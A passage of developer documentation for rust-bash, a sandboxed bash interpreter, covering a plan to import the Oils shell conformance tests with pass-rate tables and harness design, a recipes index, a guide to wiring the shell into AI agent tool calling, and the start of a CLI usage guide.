`bool-parse.test.sh` | 8 | M1.6 | Boolean expression parsing |\n| `var-op-slice.test.sh` | 22 | M1.4 | `${x:offset:length}` |\n| `var-sub.test.sh` | 6 | M1.4 | Variable substitution |\n| `var-num.test.sh` | 7 | M1 | `$1`, `$#`, `$@` |\n| `if_.test.sh` | 5 | M1.6 | `if` statement |\n| `command-parsing.test.sh` | 5 | M1 | Command parsing |\n| `paren-ambiguity.test.sh` | 9 | M1 | Parser ambiguity around parentheses |\n| `command-sub-ksh.test.sh` | 4 | M1.4 | Ksh-style command sub |\n| `temp-binding.test.sh` | 4 | M1 | `VAR=val cmd` |\n| `empty-bodies.test.sh` | 3 | M1 | Empty function/loop bodies |\n| `comments.test.sh` | 2 | M1 | Comment handling |\n| `subshell.test.sh` | 2 | M1 | `(...)` subshells |\n| `let.test.sh` | 2 | M1.11 | `let` builtin |\n| `whitespace.test.sh` | 5 | M1 | Whitespace handling |\n| **Subtotal** | **1,212** | | |\n\n### Arrays — M6.1/M6.2 (est. ~60% pass rate)\n\n| File | Cases | Milestone | Notes |\n|---|---|---|---|\n| `array.test.sh` | 77 | M6.1 | Comprehensive array tests |\n| `array-assoc.test.sh` | 42 | M6.1 | Associative arrays |\n| `array-sparse.test.sh` | 40 | M6.1 | Sparse array behavior |\n| `array-literal.test.sh` | 19 | M6.1 | Array literal syntax |\n| `array-compat.test.sh` | 12 | M6.1 | Cross-shell compat |\n| `array-assign.test.sh` | 11 | M6.1 | Array assignment forms |\n| `array-basic.test.sh` | 5 | M6.1 | Array basics |\n| **Subtotal** | **206** | | |\n\n### Builtins and shell state — mixed M1/M6 (est. ~20–40% pass rate)\n\n| File | Cases | Milestone | Notes |\n|---|---|---|---|\n| `builtin-read.test.sh` | 64 | M6.5 | `read` builtin flags |\n| `builtin-printf.test.sh` | 63 | M1.14 / M6.11 | Mostly core `printf`; a smaller tail covers bash-only additions |\n| `alias.test.sh` | 48 | M6.4 | Alias expansion |\n| `builtin-type-bash.test.sh` | 31 | M6.4 | `type` builtin (bash) |\n| `builtin-getopts.test.sh` | 31 | M6.4 | `getopts` builtin |\n| `builtin-set.test.sh` | 24 | M1.15 / M6.9 | Core `set -e/-u/-o pipefail` plus later option work |\n| `builtin-cd.test.sh` | 30 | M1 | `cd` builtin |\n| `builtin-meta.test.sh` | 18 | M6.4 | `command`, `builtin` |\n| `builtin-dirs.test.sh` | 18 | M6.4 | `pushd`/`popd`/`dirs` |\n| `command_.test.sh` | 16 | M6.4 | `command` builtin |\n| `builtin-special.test.sh` | 12 | mixed M1/M6 | Special builtins |\n| `builtin-meta-assign.test.sh` | 11 | M6.4 | `local`, `declare` in meta |\n| `builtin-misc.test.sh` | 7 | mixed M1/M6 | Miscellaneous builtins |\n| `builtin-type.test.sh` | 6 | M6.4 | `type` builtin |\n| **Subtotal** | **379** | | |\n\n### Redirections — M6.10 (est. ~40% pass rate)\n\n| File | Cases | Milestone | Notes |\n|---|---|---|---|\n| `redirect.test.sh` | 41 | M6.10 | Basic redirections |\n| `redirect-command.test.sh` | 23 | M6.10 | Redirections on commands |\n| `redirect-multi.test.sh` | 13 | M6.10 | Multiple redirections |\n| `redir-order.test.sh` | 5 | M6.10 | Redirection ordering |\n| **Subtotal** | **82** | | |\n\n### Shell options — M6.3/M6.9 (est. ~25% pass rate)\n\n| File | Cases | Milestone | Notes |\n|---|---|---|---|\n| `sh-options.test.sh` | 39 | M6.3/M6.9 | Shell options |\n| `sh-options-bash.test.sh` | 9 | M6.3/M6.9 | Bash-specific options |\n| `strict-options.test.sh` | 17 | M6.9 | Strict mode options |\n| `xtrace.test.sh` | 19 | M6.9 | `set -x` tracing |\n| **Subtotal** | **84** | | |\n\n### Variable and regex features — mixed M1/M6 (est. ~40% pass rate)\n\n| File | Cases | Milestone | Notes |\n|---|---|---|---|\n| `nameref.test.sh` | 32 | M6.6 | Namerefs (`declare -n`) |\n| `var-ref.test.sh` | 31 | M6.11 | `${!ref}` indirect refs |\n| `var-op-bash.test.sh` | 27 | M6.11 | Bash-specific var ops |\n| `regex.test.sh` | 37 | M1.6 / M6.2 | `[[ =~ ]]` plus `BASH_REMATCH` |\n| `vars-bash.test.sh` | 1 | M6.8 | Bash-specific special variables |\n| **Subtotal** | **128** | | |\n\n### Process substitution — M6.7 (est. ~0–10% pass rate)\n\n| File | Cases | Milestone | Notes |\n|---|---|---|---|\n| `process-sub.test.sh` | 9 | M6.7 | `<(...)` / `>(...)` |\n| **Subtotal** | **9** | | |\n\n### Shell process / trap features outside the initial `exec()` harness\n\nThese files are useful reference material, but they do not map cleanly onto chapter 10 today.\nMost are either explicit non-goals for the interpreter (`&`, `jobs`, signal fidelity) or would\nneed a dedicated CLI/process harness rather than the existing `RustBash::exec()` path.\n\n| File | Cases | Why skipped initially |\n|---|---|---|\n| `background.test.sh` | 27 | Background execution and job control are explicit non-goals in chapter 1 |\n| `builtin-process.test.sh` | 28 | Requires a fuller process model than the current interpreter exposes |\n| `builtin-kill.test.sh` | 20 | Depends on real signal/process semantics rather than sandboxed execution |\n| `builtin-trap.test.sh` | 33 | Only minimal trap support is planned today; full trap fidelity is not milestoned |\n| `builtin-trap-bash.test.sh` | 23 | Bash-specific trap semantics beyond the current roadmap |\n| `builtin-trap-err.test.sh` | 23 | `trap ERR` semantics are more detailed than the current roadmap promises |\n| **Subtotal** | **154** | |\n\n### CLI / REPL features (separate harness, not the initial `exec()` import)\n\nThese are meaningful for the CLI binary and REPL experience, but not for the first Oils import.\nIf we want them later, they should go through a dedicated CLI harness rather than the interpreter\ntest runner that powers `comparison.rs` and `spec_tests.rs`.\n\n| File | Cases | Why skipped initially |\n|---|---|---|\n| `interactive.test.sh` | 18 | Requires interactive session behavior |\n| `interactive-parse.test.sh` | 1 | Requires interactive parser state |\n| `builtin-completion.test.sh` | 51 | Completion system is not part of `RustBash::exec()` |\n| `builtin-history.test.sh` | 17 | REPL history belongs to the CLI integration surface |\n| `builtin-fc.test.sh` | 14 | Editor/history workflow, not interpreter execution |\n| `builtin-bind.test.sh` | 9 | Readline binding behavior is CLI-only |\n| `builtin-times.test.sh` | 1 | Better validated through a CLI-oriented harness if we add it |\n| `prompt.test.sh` | 33 | Prompt expansion is REPL/CLI behavior, not `exec()` behavior |\n| **Subtotal** | **144** | |\n\n### Cross-cutting / meta (est. ~40% pass rate)\n\n| File | Cases | Milestone | Notes |\n|---|---|---|---|\n| `bugs.test.sh` | 28 | mixed | Known bugs in shells |\n| `parse-errors.test.sh` | 27 | M1 | Parser error handling |\n| `fatal-errors.test.sh` | 5 | M1 | Fatal error handling |\n| `introspect.test.sh` | 13 | M6.8 | Shell introspection |\n| `globignore.test.sh` | 18 | M6.3 | GLOBIGNORE shopt |\n| `globstar.test.sh` | 5 | M6.3 | `shopt -s globstar` |\n| `nocasematch-match.test.sh` | 6 | M6.3 | Case-insensitive match |\n| `unicode.test.sh` | 7 | M1 | Unicode handling |\n| `nul-bytes.test.sh` | 16 | M1 | NUL byte handling |\n| `serialize.test.sh` | 10 | mixed | Serialization forms |\n| `builtin-bash.test.sh` | 13 | M6.4 | Bash-specific builtins |\n| `sh-usage.test.sh` | 17 | M1 | Shell usage/invocation |\n| **Subtotal** | **165** | | |\n\n### Non-applicable (skip entirely)\n\n| File | Cases | Reason |\n|---|---|---|\n| `zsh-assoc.test.sh` | 7 | Zsh-specific |\n| `zsh-idioms.test.sh` | 3 | Zsh-specific |\n| `ble-idioms.test.sh` | 26 | Ble.sh-specific |\n| `ble-features.test.sh` | 9 | Ble.sh-specific |\n| `ble-unset.test.sh` | 5 | Ble.sh-specific |\n| `nix-idioms.test.sh` | 6 | Nix-specific |\n| `toysh.test.sh` | 8 | Toybox shell |\n| `toysh-posix.test.sh` | 23 | Toybox POSIX tests |\n| `blog1.test.sh` | 9 | Blog examples (non-bash) |\n| `blog2.test.sh` | 8 | Blog examples |\n| `blog-other1.test.sh` | 6 | Blog examples |\n| `explore-parsing.test.sh` | 5 | Oils parser exploration |\n| `print-source-code.test.sh` | 4 | Oils-specific |\n| `spec-harness-bug.test.sh` | 1 | Harness meta-test |\n| `posix.test.sh` | 15 | POSIX-only (not bash) |\n| `shell-bugs.test.sh` | 1 | Meta |\n| `known-differences.test.sh` | 2 | Meta |\n| `divergence.test.sh` | 4 | Cross-shell divergence |\n| `type-compat.test.sh` | 7 | Cross-shell type compat |\n| `assign-dialects.test.sh` | 4 | Cross-shell dialects |\n| `assign-deferred.test.sh` | 9 | Oils-specific deferred |\n| `arg-parse.test.sh` | 3 | Oils arg parsing |\n| **Subtotal** | **165** | |\n\n---\n\n## Projected pass rates after import\n\nThese were rough planning estimates. The actual measured baseline is:\n**1,780 pass / 419 xfail / 79 skip** across 100 tested files (2,278 cases). The per-category\nestimates below are superseded by the measured totals in the \"Combined test surface\" table.\n\n| Category | Files | Cases | Est. pass | Est. xfail | Est. skip |\n|---|---|---|---|---|---|\n| Core shell (M1) | 53 | 1,212 | ~848 | ~364 | — |\n| Arrays (M6.1/M6.2) | 7 | 206 | ~125 | ~81 | — |\n| Builtins and shell state (mixed M1/M6) | 14 | 379 | ~95 | ~284 | — |\n| Redirections (M6.10) | 4 | 82 | ~33 | ~49 | — |\n| Shell options (M6.3/M6.9) | 4 | 84 | ~21 | ~63 | — |\n| Variable and regex features (mixed M1/M6) | 5 | 128 | ~51 | ~77 | — |\n| Process substitution (M6.7) | 1 | 9 | ~0 | ~9 | — |\n| Cross-cutting | 12 | 165 | ~66 | ~99 | — |\n| Shell process / trap features skipped initially | 6 | 154 | — | — | 154 |\n| CLI / REPL features skipped initially | 8 | 144 | — | — | 144 |\n| Non-applicable | 22 | 165 | — | — | 165 |\n| **Total** | **136** | **2,728** | **~1,239** | **~1,026** | **463** |\n\n**Measured overall pass rate: ~86% of runnable cases (1,968 / 2,278)**\n\n### Combined test surface (measured)\n\n| Suite | Files | Cases | Pass | Xfail | Skip |\n|---|---|---|---|---|---|\n| Comparison fixtures | 35 | 280 | 278 | 1 | 1 |\n| Spec tests (grep/sed/awk/jq) | 14 | 200 | 200 | 0 | 0 |\n| Oils spec tests | 142 (100 tested) | 2,278 | 1,968 | 231 | 79 |\n| **Total** | **191** | **2,758** | **2,348** | **330** | **80** |\n\nThe depth gap in comparison fixtures (−252 vs just-bash) is minor. The real gap is **implementation coverage** — as features land, Oils cases flip from xfail to pass automatically.\n\n> [!NOTE]\n> This comparison is intentionally \"like-for-like\" shell-conformance surface area. It excludes\n> rust-bash's 200 command-spec cases for `grep`, `sed`, `awk`, and `jq`, because just-bash does\n> not have a directly comparable suite for those commands.\n\n---\n\n## Implementation plan\n\n### Phase 1: Parser and harness (~200–300 lines Rust)\n\n**Goal:** Parse Oils `.test.sh` format and run cases through the existing test infrastructure.\n\n#### 1.1 Oils format parser\n\nCreate `tests/common/oils_format.rs`:\n\n```rust\npub struct OilsTestCase {\n    pub name: String,\n    pub code: String,\n    pub expected_stdout: Option<String>,\n    pub expected_stderr: Option<String>,\n    pub expected_status: i32, // default 0\n    pub bash_expected_stdout: Option<String>,\n    pub bash_expected_stderr: Option<String>,\n    pub bash_expected_status: Option<i32>,\n}\n\npub struct OilsTestFile {\n    pub cases: Vec<OilsTestCase>,\n    pub tags: Vec<String>,\n}\n\npub fn parse_oils_file(content: &str) -> OilsTestFile { ... }\n```\n\nParser logic:\n1. Split on `^#### (.+)$` — each section is one test case\n2. Separate code lines from `## ` metadata lines\n3. Handle `## stdout: value` (single-line) and `## STDOUT:\\n...\\n## END` (multiline)\n4. Handle `## STDERR:\\n...\\n## END` and `## stderr-json:` for expected stderr\n5. Handle `## status: N` (default 0)\n6. Handle bash-specific overrides for stdout/stderr/status (`OK`, `BUG`, and `N-I` forms)\n7. Skip file-level headers (`## compare_shells:`, `## tags:`, `## oils_failures_allowed:`)\n\n#### 1.2 Test harness\n\nCreate `tests/oils_spec.rs`:\n\n```rust\nfn run_oils_spec_file(path: &Path) {\n    let content = fs::read_to_string(path).unwrap();\n    let test_file = parse_oils_file(&content);\n\n    for case in &test_file.cases {\n        // Check skip list (per-file or per-case)\n        // Check xfail list\n        // Run through RustBashBuilder::new().exec(&case.code)\n        // Compare stdout, stderr, exit status, preferring bash_expected_* when present\n        // Report pass/xfail/unexpected-pass/fail\n    }\n}\n```\n\n`## N-I bash ...` metadata should be treated as the bash-compatible ground truth for that case.\nThose annotations mean \"this is what bash does even though the feature is effectively unimplemented\nthere\", not \"skip this because bash does not matter\".\n\n#### 1.3 Skip and xfail management\n\nTwo-tier approach:\n- **File-level skip:** Entire files in the CLI-only, non-applicable, or explicit non-goal lists\n- **Case-level xfail:** Individual cases that use unimplemented features\n\nOptions for xfail tracking:\n1. **TOML sidecar files** — e.g., `tests/fixtures/oils/array.xfail.toml` with case names\n2. **Inline annotation** — maintain a `HashMap<&str, Vec<&str>>` in the harness\n3. **Convention-based** — xfail everything by default, maintain a pass-list instead\n\nRecommended: **Option 3 (pass-list)**. Start with everything as xfail. Maintain a pass-list per\nfile. When a case passes that's not on the pass-list, it's an unexpected pass (forces promotion).\nThis **inverts** the M6.12 xfail model: instead of marking the known failures, you mark the known\npasses. That is a better fit here because the imported Oils corpus will initially have many more\nexpected failures than expected passes.\n\n#### 1.4 Test discovery\n\nReuse the existing `datatest-stable` pattern from `tests/comparison.rs` and\n`tests/spec_tests.rs` so the new suite follows repo conventions and gets one test per input file:\n\n```rust\nfn run_oils_spec_file(path: &Path) -> datatest_stable::Result<()> {\n    // parse file, apply skip/pass-list rules, run each case, and summarize\n    Ok(())\n}\n\ndatatest_stable::harness! {\n    { test = run_oils_spec_file, root = \"tests/fixtures/oils\", pattern = r\".*\\.test\\.sh$\" },\n}\n```\n\n#### 1.5 `Cargo.toml` wiring\n\nAdd a new test target alongside `comparison` and `spec_tests`:\n\n```toml\n[[test]]\nname = \"oils_spec\"\nharness = false\n```\n\nNo new discovery crate is required — `datatest-stable` is already in the repo and matches the\nexisting harness style.\n\n### Phase 2: Import test files\n\n1. Copy all 136 `.test.sh` files from `../just-bash/src/spec-tests/bash/cases/` into\n   `tests/fixtures/oils/`\n2. Add Apache 2.0 LICENSE notice in `tests/fixtures/oils/LICENSE` (attribute Oils project)\n3. Create the initial pass-list by running all cases and recording which pass\n4. Document the import provenance clearly in the copied corpus directory and in the relevant docs\n\n### Phase 3: Progressive promotion\n\nAs features get implemented in subsequent milestones:\n1. Run the Oils suite — unexpected passes appear\n2. Add newly passing case names to the pass-list\n3. Track pass-rate growth per milestone\n\n### Phase 4: Comparison depth parity (optional)\n\nTo close the −263 comparison fixture gap:\n- Add more cases to existing `.toml` files (arrays, redirections, builtins)\n- Create new fixture files for areas covered by just-bash but not rust-bash\n- This is lower priority since the Oils corpus covers the same features more thoroughly\n\n---\n\n## Milestone mapping summary\n\nHow importing Oils would improve coverage against the actual guidebook milestones:\n\n| Milestone | Direct benefit from Oils import | Notes |\n|---|---|---|\n| **M1 — Core Shell** | **Major** | The largest payoff: ~1,200 directly relevant shell-language cases |\n| **M2 — Text Processing** | None | Oils does not target `grep`, `sed`, `awk`, `jq`, `diff`, etc. |\n| **M3 — Execution Safety** | Indirect only | Useful as regression/fuzz input, but not targeted to limits or network policy |\n| **M4 — Filesystem Backends** | Indirect only | Exercises VFS semantics through shell behavior, not backend-specific APIs |\n| **M5 — Integration** | Limited | CLI/REPL-oriented Oils files need a separate harness, not the initial `exec()` harness |\n| **M6 — Shell Language Completeness** | **Major** | Hundreds of directly relevant cases for arrays, builtins, redirections, options, vars, and process substitution |\n| **M7 — Command Coverage & Discoverability** | Minimal | Oils has little direct coverage for `--help`, command inventory, or agent docs |\n| **M8 — Embedded Runtimes & Data Formats** | None | Outside the scope of the Oils corpus |\n| **M9 — Platform, Security & Execution API** | Indirect only | Imported cases can later feed fuzzing/differential work, but do not directly cover M9 features |\n\nFor milestone accounting, the most important point is simple: **Oils materially strengthens M1 and\nM6**, and only indirectly helps the rest of the roadmap.\n\n---\n\n## Effort estimate\n\n| Phase | Scope | Size |\n|---|---|---|\n| Phase 1 (parser + harness) | ~300 lines Rust, new test file | **M** |\n| Phase 2 (import + initial pass-list) | File copy, one test run, triage | **S** |\n| Phase 3 (progressive promotion) | Ongoing per milestone | **Continuous** |\n| Phase 4 (comparison depth) | Optional, ~100 new TOML cases | **S** |\n\n**Total for initial import: 1–2 sessions.**\n\n---\n\n## Acceptance criteria\n\n- [x] Oils parser correctly handles all format variants (single-line stdout, multiline STDOUT/END,\n      multiline STDERR/END, status, bash-specific overrides, stderr-json)\n- [x] All 142 `.test.sh` files imported under `tests/fixtures/oils/` (from upstream Oils commit `7789e21d81537a5b47bacbd4267edf7c659a9366`)\n- [x] Apache 2.0 LICENSE attribution present\n- [x] `Cargo.toml` registers the new `oils_spec` test target with `harness = false`\n- [x] File-level skip list excludes CLI-only, non-applicable, and explicit non-goal files (42 files)\n- [x] Pass-list generated and maintained (1,968 entries in `pass-list.txt`)\n- [x] `cargo test --test oils_spec` runs cleanly (0 unexpected failures)\n- [x] Per-file summary printed (pass/xfail/skip/unexpected-pass/fail per file)\n- [x] Initial baseline established: 802 pass / 1,393 xfail / 79 skip across 100 tested files (now 1,968 / 231 / 79)\n- [x] Unexpected passes force promotion (same unexpected-pass discipline as comparison fixtures)\n- [x] Documentation updated (guidebook chapters 9 and 10)\n","/home/user/docs/recipes/README.md":"# rust-bash Recipes\n\nTask-oriented guides for common use cases. Each recipe is a self-contained document showing how to accomplish a specific task with rust-bash.\n\n## Recipes\n\n| Recipe | Description |\n|--------|-------------|\n| [CLI Usage](cli-usage.md) | Run commands, seed files, and use the interactive REPL from the command line |\n| [Getting Started](getting-started.md) | Embed rust-bash in a Rust or TypeScript application, execute scripts, inspect results |\n| [Custom Commands](custom-commands.md) | Implement and register domain-specific commands (Rust `VirtualCommand` trait + TypeScript `defineCommand()`) |\n| [Filesystem Backends](filesystem-backends.md) | Choose between InMemoryFs, OverlayFs, ReadWriteFs, and MountableFs; lazy file loading |\n| [Execution Limits](execution-limits.md) | Configure resource bounds for different trust levels (Rust + TypeScript) |\n| [Network Access](network-access.md) | Allow controlled HTTP access for `curl` with URL allow-lists (Rust + TypeScript) |\n| [Multi-Step Sessions](multi-step-sessions.md) | Maintain state across multiple `exec()` calls for agents and REPLs |\n| [Text Processing Pipelines](text-processing.md) | Build data pipelines with grep, sed, awk, jq, sort, and more |\n| [Embedding in an AI Agent](ai-agent-tool.md) | Set up rust-bash as a sandboxed tool for LLM function calling (OpenAI, Anthropic, Vercel AI SDK, LangChain) |\n| [MCP Server](mcp-server.md) | Built-in MCP server for Claude Desktop, Cursor, VS Code, Windsurf, Cline |\n| [Error Handling](error-handling.md) | Handle errors, use `set -e`/`set -u`/`set -o pipefail`, and recover gracefully |\n| [Shell Scripting Features](shell-scripting.md) | Variables, control flow, functions, arithmetic, subshells, and more |\n| [FFI Usage](ffi-usage.md) | Embed rust-bash in Python, Go, or any C-compatible language via the shared library |\n| [Migrating from just-bash](migrating-from-just-bash.md) | Step-by-step migration guide for just-bash users |\n\n## Planned Recipes\n\nThe following recipes will be written as the corresponding features become available:\n\n- **Differential Testing** — compare rust-bash output against real bash\n\n## Contributing a Recipe\n\nRecipes should be:\n1. **Task-focused** — \"how to do X\", not \"what is X\"\n2. **Self-contained** — include all code needed to follow along\n3. **Tested** — all code examples should actually work\n4. **Concise** — get to the point quickly, link to the guidebook for deep dives\n","/home/user/docs/recipes/ai-agent-tool.md":"# Embedding in an AI Agent\n\n## Goal\n\nUse rust-bash as a bash execution tool for LLM-powered agents. The shell provides a sandboxed environment where the AI can run commands, inspect files, and process data — without containers, VMs, or host filesystem access.\n\n## Why rust-bash for AI Agents?\n\n| Feature | rust-bash | Docker/VM | Host bash |\n|---------|-----------|-----------|-----------|\n| Startup time | Microseconds | Seconds | Microseconds |\n| Isolation | Virtual FS, execution limits | Full OS-level | None |\n| Memory footprint | KBs | MBs–GBs | N/A |\n| Custom commands | VirtualCommand trait | Mount scripts | PATH |\n| Network control | URL allow-list | Network policies | iptables |\n| Reproducible FS | Yes (InMemoryFs) | Mostly | No |\n\n## TypeScript: Framework-Agnostic Tool Primitives\n\n`rust-bash` exports a JSON Schema tool definition and a handler factory that work with **any** AI agent framework — no framework dependencies.\n\n```typescript\nimport { bashToolDefinition, createBashToolHandler, createNativeBackend } from 'rust-bash';\n\n// bashToolDefinition is a plain JSON Schema object:\n// {\n//   name: 'bash',\n//   description: 'Execute bash commands in a sandboxed environment...',\n//   inputSchema: {\n//     type: 'object',\n//     properties: { command: { type: 'string', description: '...' } },\n//     required: ['command'],\n//   },\n// }\n\n// createBashToolHandler returns a framework-agnostic handler:\nconst { handler, definition, bash } = createBashToolHandler(createNativeBackend, {\n  files: { '/data.txt': 'hello world' },\n  maxOutputLength: 10000,\n});\n\n// handler: (args: { command: string }) => Promise<{ stdout, stderr, exitCode }>\nconst result = await handler({ command: 'grep hello /data.txt' });\n```\n\n### Convenience Schema Formatters\n\nFormat tool definitions for specific providers without any external dependencies:\n\n```typescript\nimport { bashToolDefinition, formatToolForProvider } from 'rust-bash';\n\nconst openaiTool = formatToolForProvider(bashToolDefinition, 'openai');\n// { type: \"function\", function: { name: \"bash\", description: \"...\", parameters: {...} } }\n\nconst anthropicTool = formatToolForProvider(bashToolDefinition, 'anthropic');\n// { name: \"bash\", description: \"...\", input_schema: {...} }\n\nconst mcpTool = formatToolForProvider(bashToolDefinition, 'mcp');\n// { name: \"bash\", description: \"...\", inputSchema: {...} }\n```\n\n### handleToolCall Dispatcher\n\nFor agent loops that need to dispatch multiple tool types:\n\n```typescript\nimport { Bash, handleToolCall } from 'rust-bash';\n\n// In your agent loop:\nconst result = await handleToolCall(bash, toolCall.name, toolCall.arguments);\n// Supports: 'bash', 'readFile', 'writeFile', 'listDirectory'\n```\n\n## Recipe: OpenAI API\n\n```typescript\nimport OpenAI from 'openai';\nimport { createBashToolHandler, formatToolForProvider, bashToolDefinition, createNativeBackend } from 'rust-bash';\n\nconst { handler } = createBashToolHandler(createNativeBackend, { files: myFiles });\nconst openai = new OpenAI();\n\nconst response = await openai.chat.completions.create({\n  model: 'gpt-4o',\n  tools: [formatToolForProvider(bashToolDefinition, 'openai')],\n  messages: [{ role: 'user', content: 'List files in /data' }],\n});\n\n// In tool call dispatch:\nfor (const toolCall of response.choices[0].message.tool_calls ?? []) {\n  const args = JSON.parse(toolCall.function.arguments);\n  const result = await handler(args);\n  // Send result back as tool_call response...\n}\n```\n\n## Recipe: Anthropic API\n\n```typescript\nimport Anthropic from '@anthropic-ai/sdk';\nimport { createBashToolHandler, formatToolForProvider, bashToolDefinition, createNativeBackend } from 'rust-bash';\n\nconst { handler } = createBashToolHandler(createNativeBackend, { files: myFiles });\nconst anthropic = new Anthropic();\n\nconst response = await anthropic.messages.create({\n  model: 'claude-sonnet-4-20250514',\n  max_tokens: 1024,\n  tools: [formatToolForProvider(bashToolDefinition, 'anthropic')],\n  messages: [{ role: 'user', content: 'List files in /data' }],\n});\n\n// In tool call dispatch:\nfor (const block of response.content) {\n  if (block.type === 'tool_use') {\n    const result = await handler(block.input);\n    // Send result back as tool_result...\n  }\n}\n```\n\n## Recipe: Vercel AI SDK (~8 lines)\n\n```typescript\nimport { tool } from 'ai';\nimport { z } from 'zod';\nimport { createBashToolHandler, createNativeBackend } from 'rust-bash';\n\nconst { handler } = createBashToolHandler(createNativeBackend, { files: myFiles });\nconst bashTool = tool({\n  description: 'Execute bash commands in a sandbox',\n  parameters: z.object({ command: z.string() }),\n  execute: async ({ command }) => handler({ command }),\n});\n```\n\n## Recipe: LangChain.js (~8 lines)\n\n```typescript\nimport { tool } from '@langchain/core/tools';\nimport { z } from 'zod';\nimport { createBashToolHandler, createNativeBackend } from 'rust-bash';\n\nconst { handler, definition } = createBashToolHandler(createNativeBackend, { files: myFiles });\nconst bashTool = tool(\n  async ({ command }) => JSON.stringify(await handler({ command })),\n  { name: definition.name, description: definition.description, schema: z.object({ command: z.string() }) },\n);\n```\n\n## Rust: Basic Agent Setup\n\n```rust\nuse rust_bash::{RustBashBuilder, RustBashError, ExecutionLimits, NetworkPolicy};\nuse std::collections::HashMap;\nuse std::time::Duration;\n\nstruct AgentShell {\n    shell: rust_bash::RustBash,\n}\n\nimpl AgentShell {\n    fn new() -> Self {\n        let shell = RustBashBuilder::new()\n            .env(HashMap::from([\n                (\"HOME\".into(), \"/home/agent\".into()),\n                (\"USER\".into(), \"agent\".into()),\n            ]))\n            .cwd(\"/home/agent\")\n            .execution_limits(ExecutionLimits {\n                max_command_count: 5_000,\n                max_execution_time: Duration::from_secs(10),\n                max_output_size: 512 * 1024, // 512 KB\n                ..Default::default()\n            })\n            .build()\n            .unwrap();\n\n        Self { shell }\n    }\n\n    /// Execute a command and return a structured result for the LLM.\n    fn run(&mut self, command: &str) -> AgentResult {\n        match self.shell.exec(command) {\n            Ok(result) => AgentResult {\n                success: result.exit_code == 0,\n                stdout: truncate(&result.stdout, 4096),\n                stderr: truncate(&result.stderr, 1024),\n                exit_code: result.exit_code,\n                error: None,\n            },\n            Err(RustBashError::LimitExceeded { limit_name, .. }) => AgentResult {\n                success: false,\n                stdout: String::new(),\n                stderr: String::new(),\n                exit_code: -1,\n                error: Some(format!(\"Resource limit exceeded: {limit_name}\")),\n            },\n            Err(e) => AgentResult {\n                success: false,\n                stdout: String::new(),\n                stderr: String::new(),\n                exit_code: -1,\n                error: Some(format!(\"{e}\")),\n            },\n        }\n    }\n}\n\nstruct AgentResult {\n    success: bool,\n    stdout: String,\n    stderr: String,\n    exit_code: i32,\n    error: Option<String>,\n}\n\nfn truncate(s: &str, max: usize) -> String {\n    if s.len() <= max {\n        s.to_string()\n    } else {\n        let end = s.char_indices()\n            .take_while(|(i, _)| *i < max)\n            .last()\n            .map(|(i, c)| i + c.len_utf8())\n            .unwrap_or(0);\n        format!(\"{}... [truncated, {} total bytes]\", &s[..end], s.len())\n    }\n}\n```\n\n## Rust: Tool Definition for Function Calling\n\n```json\n{\n  \"name\": \"bash\",\n  \"description\": \"Execute a bash command in a sandboxed environment. The environment has a virtual filesystem, 80+ Unix commands (grep, sed, awk, jq, find, curl, etc.), and full bash syntax (variables, loops, functions, pipes, redirections). State persists between calls.\",\n  \"parameters\": {\n    \"type\": \"object\",\n    \"properties\": {\n      \"command\": {\n        \"type\": \"string\",\n        \"description\": \"The bash command to execute\"\n      }\n    },\n    \"required\": [\"command\"]\n  }\n}\n```\n\n## MCP Server\n\nFor MCP-compatible clients (Claude Desktop, Cursor, VS Code), use the built-in MCP server mode:\n\n```bash\nrust-bash --mcp\n```\n\nSee [MCP Server Setup](mcp-server.md) for configuration details.\n\n## Protecting Against Malicious Scripts\n\nThe combination of execution limits, network policy, and InMemoryFs provides defense in depth:\n\n1. **No host filesystem access** — InMemoryFs by default\n2. **No network access** — disabled by default; requires explicit allow-list\n3. **Resource bounds** — time, commands, output size all capped\n4. **No process spawning** — all commands run in-process; no `std::process::Command`\n5. **Structured errors** — `LimitExceeded` reports exactly which limit was hit\n\nSee [Execution Limits](execution-limits.md) for detailed configuration.\n","/home/user/docs/recipes/cli-usage.md":"# CLI Usage\n\nRun commands, seed files, set environment variables, and use the interactive REPL — all from the command line.\n\n## Quick Start\n\n```bash\n# Install\ncargo install --path .\n\n# Run a command\nrust-bash -c 'echo hello world'\n```\n\n## Execution Modes\n\n### Inline command with `-c`\n\n```bash\nrust-bash -c 'echo hello | wc -c'\n```\n\n### Script file with positional arguments\n\n```bash\nrust-bash script.sh arg1 arg2\n```\n\nInside the script, `$0` is set to the script path, and `$1`, `$2`, etc. are the\npositional arguments.\n\n### Piping commands via stdin\n\n```bash\necho 'echo hello' | rust-bash\n\ncat script.sh | rust-bash\n```\n\n### Interactive REPL\n\nWhen launched with no `-c`, no script file, and no piped stdin, `rust-bash`\nstarts an interactive REPL:\n\n```bash\nrust-bash\n```\n\nREPL features:\n\n- **Colored prompt** — `rust-bash:{cwd}$ ` reflecting the current directory, green (exit 0) or red (non-zero last exit)\n- **Tab completion** — completes built-in command names\n- **Multi-line input** — incomplete constructs (e.g., `if true; then`) wait for more input\n- **History** — persists across sessions in `~/.rust_bash_history`\n- **Ctrl-C** — cancels the current input line\n- **Ctrl-D** — exits the REPL with the last command's exit code\n- **`exit [N]`** — exits with code N (default 0)\n\n## Seeding Files from Disk\n\nUse `--files` to load host files into the virtual filesystem.\n\n### Single file mapping\n\nMap a host file to a specific path inside the VFS:\n\n```bash\nrust-bash --files /path/to/data.txt:/data.txt -c 'cat /data.txt'\n```\n\nThe format is `HOST_PATH:VFS_PATH`. The first `:` in the value acts as the\nseparator.\n\n### Directory seeding\n\nRecursively load a host directory into a VFS path:\n\n```bash\nrust-bash --files /path/to/dir:/app -c 'ls /app'\n```\n\nOr seed an entire directory at the VFS root:\n\n```bash\nrust-bash --files /path/to/dir -c 'ls /'\n```\n\n### Multiple file mappings\n\nChain multiple `--files` flags:\n\n```bash\nrust-bash \\\n  --files ./src:/app/src \\\n  --files ./config.json:/app/config.json \\\n  -c 'cat /app/config.json'\n```\n\n## Setting Environment Variables\n\nUse `--env` to set variables (repeatable):\n\n```bash\nrust-bash --env USER=agent --env HOME=/home/agent -c 'echo $USER'\n# agent\n```\n\nDefault environment variables (`HOME=/home`, `USER=user`, `PWD=/`) can be\noverridden with `--env`.\n\n## Setting the Working Directory\n\nUse `--cwd` to set the initial working directory:\n\n```bash\nrust-bash --cwd /app -c 'pwd'\n# /app\n```\n\nThe directory is created automatically in the VFS if it doesn't exist.\n\n## JSON Output for Scripting\n\nUse `--json` to get machine-readable output:\n\n```bash\nrust-bash --json -c 'echo hello'\n# 